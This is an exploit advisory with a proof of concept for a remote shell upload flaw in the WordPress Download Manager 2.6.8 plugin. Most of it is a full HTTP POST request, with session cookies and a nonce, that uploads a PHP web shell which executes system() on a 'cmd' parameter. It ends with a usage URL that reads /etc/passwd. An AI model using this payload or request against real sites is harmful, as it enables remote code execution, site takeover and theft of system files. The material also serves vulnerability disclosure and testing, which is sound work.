###################### # Exploit Title : WordPress Download Manager 2.6.8 Shell Upload Vulnerability # Exploit Author : Claudio Viviani # Vendor Homepage : www.wpdownloadmanager.com # Software Link : http://downloads.wordpress.org/plugin/download-manager.zip # Date : 2014-07-11 # Tested on : Linux / Mozilla Firefox / WordPress Download Manager 2.6.8 Free Version # # ###################### # Location : http://IP_VICTIM/wp-content/plugins/download-manager/wpdm-add-new-file.php ###################### # Description : WordPress Download Manager 2.6.8 suffers from a remote shell upload vulnerability. Author or Administrator user could upload shell script (Default Settings). There are no settings to exclude php extensions. ###################### # PoC : POST Host=10.0.0.67 User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language=it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding=gzip, deflate Referer=http://IP_VICTIM/wp-admin/admin.php?page=file-manager/add-new-file Content-Length=775 Content-Type=multipart/form-data; boundary=---------------------------298331869519772 Cookie=wordpress_b43b255bc018ee66673cd91980a723bf=usernametest%7C1405260002%7C76c1b315f6f8b6e1885921a763036464; wp-settings-1=advImgDetails%3Dshow%26libraryContent%3Dupload%26wpfb_adv_uploader%3D1%26editor%3Dtinymce%26uploader%3D1; wp-settings-time-1=1405085177; bLicense54=true; testpopup=true; __utma=86855576.2039073811.1404413871.1404413871.1404416567.2; __utmz=86855576.1404413871.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_fid=6EEA54B2DFA4150F-06C135149F70F3D9; wp-settings-time-2=1404901595; wp-settings-2=mfold%3Do; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-AssetAdmin=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_b43b255bc018ee66673cd91980a723bf=usernametest%7C1405260002%7Cf8b04eec8327ab6f17d0b28ce02fe66e Connection=keep-alive Pragma=no-cache Cache-Control=no-cache POSTDATA =-----------------------------298331869519772 Content-Disposition: form-data; name="name" shell.php -----------------------------298331869519772 Content-Disposition: form-data; name="_ajax_nonce" 1cfccd7168 -----------------------------298331869519772 Content-Disposition: form-data; name="action" file_upload -----------------------------298331869519772 Content-Disposition: form-data; name="async-upload"; filename="shell.php" Content-Type: application/octet-stream <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -----------------------------298331869519772-- ##################### # Backdoor Location: http://IP_VICTIM/wp-content/uploads/download-manager-files/shell.php?cmd=cat+/etc/passwd ##################### Discovered By : Claudio Viviani http://www.homelab.it info@homelab.it https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ #####################